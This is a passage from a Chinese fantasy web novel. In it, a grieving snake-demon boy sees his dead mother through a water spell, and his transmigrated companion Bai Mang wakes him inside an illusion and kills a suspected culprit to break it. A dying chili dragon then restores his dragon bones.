“你为什么戴着一朵白花。”楚书芸歪头盯着他,“好像在人界,亲人死后戴白花,是守孝的说法。”
原来是这层意思,楚卿礼伸手,又摸了摸那柔嫩的花瓣。“我娘亲死了。”
“啊!”楚书芸短促
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的叫了一声,神色抱歉,“你一定很难过,你怎么不哭呢?”
她眼神单纯,楚卿礼转头,看着那一丛随风摇曳的兰花,想起娘亲那日挥着锄头,笑眯眯栽花的样子。
于是他挪过去,躺在花旁边,嗅着熟悉的兰花香味。“我是妖,妖很少有泪,泪也是血泪。”
他说完,身后就没了声音,想起年轻弟子那句,“妖怎会有人的感情”,楚卿礼扯了扯嘴角。
这不是他的家,他要回家去了,爬起来刚要走,突然蹬蹬跑过来的楚书芸拽住他的手。
不知道这是打哪里来的女童,楚卿礼忍着烦郁回头。
“你跟我来。”
楚书芸却自顾自拉着他,带他往一边走,直到小院里的井边。
她的手也很柔软温暖,楚卿礼不想惹麻烦,只好耐着性子陪她。
楚书芸不解释,把快和她一样高的水桶扔下去,似乎想打一桶水上来。小小的身体在井边摇晃,楚卿礼看不过眼,还是帮了她。
一起费力的把半桶水提上来,两人都累出了满头汗。
楚书芸的小脸上却全是兴奋,她擦干净手,用白瓷碗将井水盛了一碗出来。
舔舔嘴唇,楚书芸看向他,“你还想看你娘亲一眼吗?”
楚卿礼浑身一滞,难以置信的追问,“你说什么?”
“这井里的水是天水,最纯净,我刚学过了一个小法术。”楚书芸舔舔嘴唇,神色也不太坚定。
确实是刚学过的,只知道怎么施法,可连一次都没试过。
楚卿礼却惊喜的坐直,眼睛都亮起,“我想!”
觉得自己态度不够郑重,他又站起来,冲着她长拜,“多谢小姐,恩准我再见娘亲一面。”
楚书芸扣弄着衣服上的花纹,不好意思的拉他起来,鼻尖轻皱起,“我试试,也不一定成功,给我一根你的头发吧。”
楚卿礼立即揪下一根头发递给她。
盘腿坐好,楚书芸将他的头发轻轻放在水面上,闭眼低念着诀,两手合掌,她忽得指向水面:
“现!”
短促的华光闪过,水面又归为平静,却什么都没有。
楚卿礼紧盯着水面,双手捏紧放在腿上。
睁眼向水面,楚书芸泄了气,搓动着她圆滚滚的指头,“是我学术不精,要不还是算了。”
“就差一点。”楚卿礼抬头,眼中的眸子已变成竖瞳,“我看到了,她的样子一闪而过,求小姐再试试好吗?”
他的蛇瞳吓了楚书芸一跳,扭动两下屁股,她纠结的摸着脖子上的金锁,“那……再给我一根头发吧。”
楚卿礼二话不说,直接拽下来一缕头发,丝毫不心疼的递给她。
倒是楚书芸,皱着小脸摸了摸自己的头顶,才接过他的头发。
可接下来的尝试,都不太顺利,好几次连任何反应都没有,偶尔掠过楚宋的脸,可五官都没凑全就又消失了。
时间在一分一秒的过去,楚书芸自己都坐不住了,楚卿礼却仍像不知累一样,直勾勾盯着水面。
就剩了最后一根头发。
楚书芸咬牙看看认真的他,忽得下定决心,张嘴咬破自己的一根指头。
鲜红的血珠翻滚出来。
疼的龇牙咧嘴,楚书芸忙将那滴血滴入水中,顷刻间清澈如透明的水都成了红色,她再次念起诀。
发丝缓缓牵动着水面转动,碗里的水重新恢复澄澈,露出一张带笑的脸。
楚宋坐在门边,手里缝着为他新做的衣服,嘴角温柔带笑,编成辫子的头发垂落在胸前,发丝随着风缓缓摆动。
好似察觉到了他的目光,水面上的楚宋抬头,笑着冲他招手。
“娘亲。”
“别碰!”
楚书芸的告诫迟了一些,楚卿礼已摸向水面,手指触碰到的瞬间,娘亲的模样就化作泡影。
他僵住,愣愣看着水面。
“镜花水月,不能靠近,怪我没提前与哥哥说。”楚书芸小声道。
楚卿礼似乎还没回神,他僵硬的收回手,呆呆坐着。
水桶里还剩下一些水,楚书芸蓦地摸了一手水,凑向他的脸,在他眼下抹了两滴。
水滴从他眼睛下滑落,楚卿礼莫名其妙,扭头看着她。
楚书芸眨着眼睛,嗓音悦耳如银铃,“这样,也算是哭了吧。”
心瞬间发涩,楚卿礼伸手摸着脸上的水,恍若心中的潮湿也发泄出来。他忽得蜷缩起来,头伏在膝盖上,无声难过着。
兰花香依旧袭人,他一句话都说不出来,只觉轻柔的风像是娘亲的抚摸。
从今以后,他真的再没有娘亲了。
小院门口,白芒无声瞧着对坐的两人。
她才问了个大概,就急切的来找楚卿礼,不成想就看到这一幕。
原来这就是大反派与女主角的初见,在他最无助绝望的时候,女主角闯入他身边,安慰陪伴。花海之中,两小无猜的男女孩,最是难得宝贵的感情。
怪不得以后能为爱黑化呢。
白芒无趣的走开,闷头踢了一路的石子。
幸亏这都是过去的事情了,否则她一定拽着大反派回家去。
年纪轻轻,学什么早恋!
21. 芒芒
楚卿礼终于找回家的时候,已经快到日暮十分,手中捏着一把兰花,他远远就瞧见了坐在院中的白芒。
一瞬间,他恍惚想起娘亲曾也是这般等着他回来。
娘亲不在了,可至少往后还有她陪着,楚卿礼低头拨了拨兰花,快步走近。
听到了那串脚步声,白芒抬头,第一眼先瞧见了他手里的兰花。
淡淡的黄色,像是一捧阳光。
不愧是与女主一见钟情的信物呢。
白芒忽得有些不高兴,不等他走近,就蹭的站起来,“真相已经有些眉目了,我弄清楚,明天告诉你。”
楚卿礼眼尾还有水渍,他举起手中的兰花张张口,不及说什么,就见她转身进了屋里,只有紧闭的房门。
天边的阳光慢慢变成一束,缩在天际,光线逐渐变暗。
光消失了,手中的花看上去也就枯萎许多,楚卿礼慢吞吞坐在她方才坐过的地方。
这朵兰花,是书芸小姐那里最珍贵的一株,他央求她赏的。
想带给白芒,她来了这么久,他都没有送过她东西,还让她为自己费心。
摸了摸柔软的花瓣,楚卿礼将它放在脚边,慢慢屈膝。
没关系,可能只是她恰好不喜欢兰花,不会是不想亲近他的。
身后的门偷偷开了一条缝。
白芒看到院子里可怜兮兮蜷缩起来的小背影,心里止不住有些后悔。
他还沉浸在失去娘亲的痛苦中,她不该突然对一个孩童冷漠相对。
可是看看他脚边那朵兰花,白芒咧嘴,一把关上门隔绝视线。她知道,他以后注定是要为女主死去活来,再黑化入魔的。
她的任务也算是帮他走上这条路,白芒此刻,只是有些不忍心。为什么他就不能有个好结局呢。
在这陌生的世界里,她只偏心他。
念头刚一闪起的时候,白芒浑身一凛,用力敲敲额头自言自语,“乱想什么呢,职业素质都忘了。”
她不能干扰剧情,否则会被系统制裁的。
精心摈弃掉一时浮杂的心念,白芒闭目感受着所处的这处幻境,维系幻境的力量已经越来越弱了,她或许能做些什么了。
月上柳梢之时,白芒推开门,走向院中打瞌睡的楚卿礼。
他一直没有回屋,就抱腿坐在那里,原本是不想睡的。可一日之内心神耗费太多,难以抗拒的困意让他连连点头。
白白嫩嫩的小脸,好似又尖了一些,个头瘦的跟营养不良似的。乖巧垂下来的眼睫毛倒是很长。
她终究是有些难以面对这么年幼的楚卿礼。
白芒伸手,按了按他的眼睫,楚卿礼被惊醒,将要睁眼之时,她忽得用手指点在他额间。
细碎的星光从指尖溢出。
“楚卿礼,我在叫你。”
天上幻化出来的星辰,也在应和她这一声呼唤,徐徐转动。
楚卿礼怎么也睁不开眼,大脑变得混沌,仿佛有什么要从灵魂深处醒过来。
“楚卿礼,听到了吗?”微微皱眉,强行把真正的他唤醒,似乎比白芒想象中更难一些。
星辰转动的速度在逐渐加快,遥远的虚无处好似传来了什么动物的吼叫声,白芒声音急切了些,“楚卿礼!”
尾音落下,星光大盛,她的手也被震开。
白芒眼都不敢眨的看着他。
睫毛颤动几下,楚卿礼缓慢睁开眼,四周几乎都暗了下来,星辰归位。
“芒芒。”
呼的松一口气,白芒暗道,还好,没把她的客户变成傻子。
还好系统如今不在她身边,这种危险操作会被扣绩效的!当然,白芒拒绝承认她这是不合规的手段,优秀员工总该有些便利。
在她心虚的当口,楚卿礼则惊慌失措的低头打量着自己,他怎么变小了!
他试过了,不是当时精力耗尽虚弱晕倒在北山的暂时变小,是真的回到了小时候。
楚卿礼站起来,见自己如今还没白芒的腿高,蹭的红了脸。
总算发现了他的异样,白芒蹲下来,“不记得之前的事情了吗?”
歪头回想也只有些朦胧印象,楚卿礼摇了摇头。
白芒便神色如常的简单略过,“幻境是重复人最痛苦的一段记忆,我们回到了宋娘子离去的时候,破局之法我猜就是找到真凶报仇雪恨,解开你这一心结。”
略低下头,楚卿礼回身望着小院,心中也几经唏嘘。
再多的痛苦,漫长的时间也总能淡化,他都以为他早已忘记这一日了,可如今身处此地,才发现过往历历在目。
“那年的今夜,我便一个人在这里坐了整夜,第二日早晨起来的时候,浑身都是露水。”
“其实也没什么,就是冷,骨头都冷。”
从此后娘亲说过的话,他就都奉为圭臬,再委屈自己也没关系,只要不再连累别人就好。
可到底还是连累了人。
楚卿礼回头,仗着如今幼小的面容,用手极快的摸了摸她的鬓发。“不是让你在外面等着我吗,怎么也进幻境了?”
想起来楚书芸那一剑,白芒挥挥手,“之后再说。”
魔境主人和楚书芸到底都做了什么小九九,出去就知道了。
楚卿礼点头,蓦地莞尔,眼皮上的痣轻微抖动。
动物会用嗅闻表达善意,他凑近一些,翕动着鼻子。模糊的印象里,幻境中的他没有过去那么撕心裂肺,是因为她呀。
夜色将半,他们都需要休息,一切只等明日再说。
可回屋时,却有个小插曲。
“你不要和我一起睡吗?”
扶着门框,白芒问道。
差点被门槛绊倒,楚卿礼往前一跌,双腿就化成了蛇尾。
比之少年时,这尾巴要粗短许多,光华浮动,圆润的尾尖无措的左右摆动着。“这,这不合适。”
白芒不懂他,在进入幻境之前,他说妖仆靠近主人的气息会更好恢复,不知一起睡过多少次。
此刻在他的家里,却这样说。
“你如今只有三岁模样,我就跟你师长似的。”白芒顿了顿,话又转了弯,“不过也是,该有男女大防,师长要有师长的样子。”
于是白芒兀
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自关了门,“好好睡,明日我叫你。”
尾尖呆呆停住,蛇尾重新变成双腿,楚卿礼在站了片刻才默默回去。
翌日清晨,在众多侍卫与奴仆们忙碌起来之前,白芒带着楚卿礼从偏僻的小路上走。
“在去见那人之前,我还是要问一句。”
盯着他今日格外整齐的发髻,白芒略有些不习惯,还对那个懵懂的孩提怀念起来,“你后来可有确认过,楚家少主,到底是不是你生身父亲?”
楚卿礼讶然的看她一眼,皱眉凝思许久,“应当不是,娘亲的经历……可确定的线索太少。所幸父亲于我而言并不重要,‘楚’这个字对于楚家子弟来说是姓氏,对我来说更像是家奴的印章。”
终是没忍住,白芒摸了摸他的发髻,“也可以是你的姓氏,你娘亲留给你的。”
想躲开她这明显是长辈安抚的触碰,可这样的机会也难得,他只能别扭的缩缩脖子。
“可是,你说的这位少主,在娘亲离去的第二日就死了。”
“你说什么!”
咔嚓——脚下的落叶被碾碎,白芒错愕道。
久远模糊的记忆,楚卿礼皱眉想了片刻,才确认点头。娘亲故去后,他失魂落魄了很长时间,可恰好那几日在办少主的丧事,他被拉去干活,就做错了许多事。
为此没少挨打。
“我昨日问到的消息,说是楚霄云骗她去了刑场,说只要能承受住三道雷击,她就能救你出来。”
楚卿礼面色凝重的点头,他自然也追查过娘亲的死,得来的消息也是如此,他一直以为是娘亲身体弱承受不住刑罚。
原来是有人故意害她。
对视一眼,两人忽道:“不好!”
白芒几乎是带楚卿礼瞬移到了楚霄云的院内,他的院子奢华至极,却总隐隐有种衰败感,院中随处长着人界千金难买的珍贵药材,却大多被随意踩倒。
两人破门而入,却还是迟了。
白绫高悬,楚霄云挂在上面,沉重的长条。
他病病弱弱的没什么修为,连死,都是寻常人的法子。
而就在他旁边,站着一个笼袖而立的男子,他听到身后的声音,回过头来。
是宴会那日,跟在楚家家主后面的另一个男子。
男子奇怪他们的突然闯入,可面色也没有什么变化,甚至彬彬有礼地颔首,“少主不堪身体病痛,已然自行故去,速去报家主。”
他的嘴巴一张一合,白芒却愣神。
为何会这么眼熟,不止是宴会上的匆匆一面,如今靠近了再看,何种熟悉感扑面而来,
白绫挂着的尸身随风飘荡。
她突然灵光一闪,如若眼前这个男子,头发花白,有了胡子呢。
勾勒着他的样子,白芒手脚开始发凉。
她知道了。
是她刚接到任务,穿去后来的剧情里认识楚卿礼时,皑皑雪山顶上,合力要杀死他的白发老头之一。
心口发紧,白芒猛地用力捏住楚卿礼的手,“是他,幕后真凶一定是他。”
“杀了他,幻境就结束了。”
22. 螭龙
遥远的天际被浓重墨色笼罩,视线所及,光芒在逐渐暗淡。
幻境已经极为薄弱了。
白芒的话音落下,男子就戒备的绷直身子,略带打量的看着他们。
“还愣着做什么?”白芒看向身侧。
楚卿礼沉默着看向那男子,停顿片刻后对她道:“这是家主的养子,日后承担起楚家大多事务的人,也是书芸小姐的父亲。”
“竖子乱言。”楚凌峰蹙眉低喝,也不知是哪来的两个失心疯的家伙,“怎么还没人来!”
忽略他的声音,白芒侧面向他,面色微微严肃,“你想说什么?”
“芒芒。”楚卿礼试图牵住她的手,“他一向是秉公持正的人,我们没有证据,不能杀人。”
“……”
他也只有这气死人的本事,有些像个反派了。
白芒不再理会楚卿礼,转身瞬间手中凝化出一柄剑,“我可没时间给你找证据去。”
尾音随着她飘动的衣摆前去,白芒身姿飘逸,如同破空的冰往前冲,尖利的刀柄直插进楚凌峰心口。
楚凌峰满目错愕。
他当然不会站着等死,在这女子动身之前,他就不断的挥出攻击术法,一下比一下更凌厉的落在她身上。
可她不躲不闪,这些法术竟然分毫伤不了他。
不可能,他纵然不能算是当世最强,也绝对是排得上名号的,怎能连一个小姑娘都伤不了?
但这些疑问,都随着他被刺穿的心脏消失。
血色从心口处一点点晕开,往外扩散着,而他整个人就像是烧开的画像,逐渐变为灰烬。
直到他整个人消失,白芒收剑转身,看着急速消散的幻境,也不觉松口气。
楚卿礼蹬蹬蹬跑过来,小短腿迈得实在有些滑稽,神情却很是严肃。
撇撇嘴,白芒准备好听他一些啰嗦话了,手突然被拉起来。
抚着她手背,见印记完好无损,楚卿礼才松一口气。“没受伤?”
一面问着,他又凑近仔细闻着她身上的气味,内脏也都完好无损。方才楚凌峰施展出来的术法,他看得心惊肉跳,又见他给她的护心鳞一直没反应,更是提心吊胆。
还以为是契印失效,护心鳞没有保护她。原来是这些骇人的法术,都对她构不成威胁。
他还在翻来覆去的看自己手心,白芒呆愣过后,莞尔一笑,毫不客气的捏了捏他的脸。
有一种自己在杀人,他会一边斥责,一边递刀的感觉。
不及说些什么,他们的身姿突然往下坠落,眼前的景象都化作砾石尘土漂浮着,柔和的光芒闪耀起来。
身体往后倾倒的瞬间,他们十指交握,白芒冲他挑眉,“幻境破了。”
言外之意,楚凌峰就是始作俑者。
楚卿礼皱着眉没有说话,握紧她的手。
下坠的感觉逐渐消失,白芒的胸前,再次飘浮起那截龙骨。
他们落入了一片水中。
星星点点的莲花漂浮着,萤火虫像是点点星子,兴致勃勃的流淌。这是一处洞穴,岩壁如同湖泊,预示散发着温润的光线。
堪称人间仙境。
白芒则屏息,看着池水中央。
那是一条龙。
身体盘旋着,龙头硕大,耳朵与鬃毛像是祥云,五爪威风,鳞片璀璨生光。与后来见到的龙的形象最大差异的,就是头顶无角。
察觉到了闯入者,龙缓慢睁开眼,昂首睨着他们。
“这是螭龙。”楚卿礼恢复原本的身量,将她从水中拉了起来,缓慢走向它。
白芒想起,后世的传说中,螭龙是最早的龙,甚至可以说是龙的来源。后世所熟知的蟠龙,出现要远在它之后。
“你来了。”看着楚卿礼,螭龙缓缓开口,声音却与他的形象相比要虚弱许多,就像是一个沧桑老者。
楚卿礼以手触额,恭恭敬敬行礼。“晚辈来迟。”
螭龙却哧了一声,厉风吹得他又站起来,“真是人间呆久了,全无天然做派。”
楚卿礼略无措的低头,纵然是娘亲说过许多,他也还不懂如何面对这位过于年长的老者。
“我等了你,很久很久。物换星移,我都以为要等不到你了。”
看到他,螭龙终究是心情好的,灯笼大的眼睛里神色也带了笑,“要我说,还是那幻境太麻烦,都是第一个魔境主人那老家伙弄的。”
楚卿礼微微笑起,“是为了保护前辈。”
“哼。”螭龙偏转视线,“龙骨,你就给了别人?”
顿时红了脸,楚卿礼斟酌措辞,想解释这不是不重视龙骨,更不是不在意他的使命。
可还没开口,螭龙就满意点头,“这才有点我族风范。”
好东西都该给心上人。
瞥到他错愕的眼神,白芒失笑,对这传说生物的敬畏感才少了些,“前辈,幻境的破解之法,就是为他报仇血恨吗?”
“当然不是。”
这下换成白芒愕然。
千百年过去了,螭龙还是对人类脸上千百种的表情感到好奇,和他们相比起来小了那么多的面容,怎么能有那么多种情绪。
他晃着脑袋凑近了些,楚卿礼就不动神色的挡在她身前,嘁,小气鬼,螭龙不屑的抬高头。“终结痛苦的当然是开心,从他醒来看到你的那一刻,其实幻境就在慢慢消失了。”
白芒凝眸,“是我强行唤醒真实的他的时候?”
“不。”
螭龙摆了摆脑袋,声音变得温柔轻和。
“是你从楚宋尸体里找到他,三岁的他睁眼看到你的瞬间。”
只是岁月太久,封印太牢,幻境消散的速度也就慢了很多。
萤火虫拖拽着昏黄光带飞行,莲花漂浮过来碰撞她的双腿,水泽中,一条细长的尾巴轻轻挨着她。
白芒仿若闻到了一阵花香,她也笑起来,是这样啊。
照样算是她把他带出来的!
螭龙的目光追随着萤火虫在山洞内飘荡了一圈,分明是看了千万年的风光,可此刻才生动起来,
人类太迟钝,那小子的气息,只有他能感受到。
恍惚之间,也让他想起了外面那浩大的世界,与年轻鲜活的岁月。死之前能再次有那种感受,何尝不美好。
“小子,你来吧。”
楚卿礼脸上的淡淡笑意消失,他深深凝望着螭龙,郑重的靠近。
感知到他的一丝难过,螭龙低下身子,缓慢眨动眼睛,“你知道的,我其实早就死了。”
没有回答,楚卿礼只是安静的变成蛇形,尽管他如今已经算得上是巨蟒般的身形,在螭龙面前也是那般弱小。
“这种身体,已经禁锢了我们太久。”
螭龙闭眼,忽得咆哮出声,莲花散落,萤火虫们仓皇逃窜,水珠激荡渐落。
刺眼的光芒乍起,白芒不得不捂住双眼,只能听到那跨越时空,远古的龙吟。
数不
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清几息过后,一切才归于平静,白芒缓缓睁眼。
若说之前是仙境,此刻就只觉普通的像是寻常山洞,连玉石都成了普通石头。
楚卿礼站着,他面前是一座完整的龙骨,仍是方才螭龙盘旋的样子。
怪不得,螭龙全程都只能动一动头。
“螭龙一族,有一种特殊能力,便是死前留一口气。这口精气虽然没什么攻击力,却也没人打得碎,直到他们完成心愿,甘愿消散。”
原来如此,所以幻境之内才能看到真实的宋娘子,也因此螭龙才说,他已经死去很久了。
楚卿礼伸手,抚向螭龙头骨,那额头处缺了一块,“芒芒,过来。”
白芒也意识到了什么,走上前,取下脖子上挂着的那枚龙骨。
严丝合缝的嵌进缺口处。
刹那间,龙骨焕发出白色的光芒,汇聚成一束,冲进楚卿礼的身体。
他跃入空中,仰面感受着骨骼重塑的声音,点点鳞片剥落,砸进水池里都带着血,不一会整个水池都成了红色。
白芒看着都疼,却也只握紧双拳静静等着。
许久之后,他的身形终于有了变化。
一尾漂亮的,银白色螭龙,飞翔在空中。
相比刚才的螭龙,仍要弱小许多,却已足够傲视时间所有的生物们。新生的银白螭龙,神圣而凌厉。
楚卿礼缓慢降落,他控制呼吸,靠近她。
“芒芒,我说过的,我不是蛇。”
捂住嘴巴,惊喜也能从她的眼睛里冒出来,白芒真切的欣喜。
“芒芒,我带你出去。”
白芒激动点头,有生之年,她也是骑上龙了!妈妈,我出息了!
她跨坐上去,趴下身来,紧贴在他的背部。
楚卿礼却陡然飞得混乱,明明刚才都好好的,此刻却突然慌张起来。
刚长出来的鳞片坚硬而敏感,她柔软的身躯就贴在上面,能让他轻易勾勒出她的身形。
楚卿礼低头看着血色的池水,努力飞平稳之后,即将脱离秘境,他想起了幻境中的一切。
白芒杀人的动作,是那么毫不迟疑,仿若对人命没有半点在意。
白芒说,她就像是他的师长。
“芒芒,晚辈可以喜欢自己的老师吗?”
尚且沉浸在新奇的飞行体验里,白芒听他这样一问,骤然蹙眉。
提到师生恋,就不得不想起早恋。
“不可以!”
都不可以,都不是好恋情。
楚卿礼顿了顿,仰头看着近在咫尺的光亮,身体忽得沉重起来。“芒芒,幻境破灭不是因为你杀了楚凌峰。”
晃动的双腿停了下来,白芒慢慢坐直,“你想说什么?”
马上就要出去了,楚卿礼贪恋她刚才趴上来的柔软身躯,心口也滞涩起来。
“不是所有的欲望都得放纵的。”
爱慕她,和毫无理由的杀人,都一样。
他太放纵自己了,过去的幻境走一遭,娘亲的教育再次激荡在他心中,螭龙前辈亦是帮助了他破境重塑龙骨,他不能迷失心智。
待出了秘境,他必得严谨修身。
白芒忍耐了很久,才没有扣弄他新长的鳞片。
莫名其妙的废话,不就是想说,女主她爹是无罪的吗?恋爱脑的笨反派!
仰起头,白芒也感受着近在咫尺的光。
出了秘境,楚卿礼就要和女主楚书芸重逢了啊。